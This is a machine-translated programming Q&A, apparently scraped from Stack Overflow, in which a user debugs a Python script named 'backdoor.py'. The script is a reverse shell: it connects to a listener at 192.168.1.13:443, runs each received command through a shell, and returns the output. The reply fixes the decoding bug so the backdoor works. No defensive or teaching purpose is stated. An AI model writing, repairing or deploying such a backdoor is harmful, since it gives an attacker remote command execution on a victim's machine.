Python3.5 TypeError:'int'类型的参数不是可迭代的Backdoor
我收到此错误:
Traceback (most recent call last):
File "E:\Users\x\Desktop\backdoor.py", line 13, in <module>
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
File "E:\Users\x\AppData\Local\Programs\Python\Python35-32\lib\subprocess.py", line 950, in __init__
restore_signals, start_new_session)
File "E:\Users\x\AppData\Local\Programs\Python\Python35-32\lib\subprocess.py", line 1194, in _execute_child
args = list2cmdline(args)
File "E:\Users\x\AppData\Local\Programs\Python\Python35-32\lib\subprocess.py", line 754, in list2cmdline
needquote = (" " in arg) or ("\t" in arg) or not arg
TypeError: argument of type 'int' is not iterable
每次运行时,都要在我的控制台中连接并输入IP config。这是脚本:
#!/usr/bin/python
import socket,subprocess
HOST = '192.168.1.13'
PORT = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(('[*] Connection Established!').encode())
while 1:
data = s.recv(1024)
if data == "quit": break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdoutput = proc.stdout.read() + proc.stderr.read()
s.send((stdoutput).encode())
s.close()
答案 0 :(得分:0)
您正在从套接字读取二进制数据,然后将其视为字符串对象。就像发送数据需要.decode()
一样,阅读它(作为字符串)需要data = s.recv(1024).decode()
。
Ordering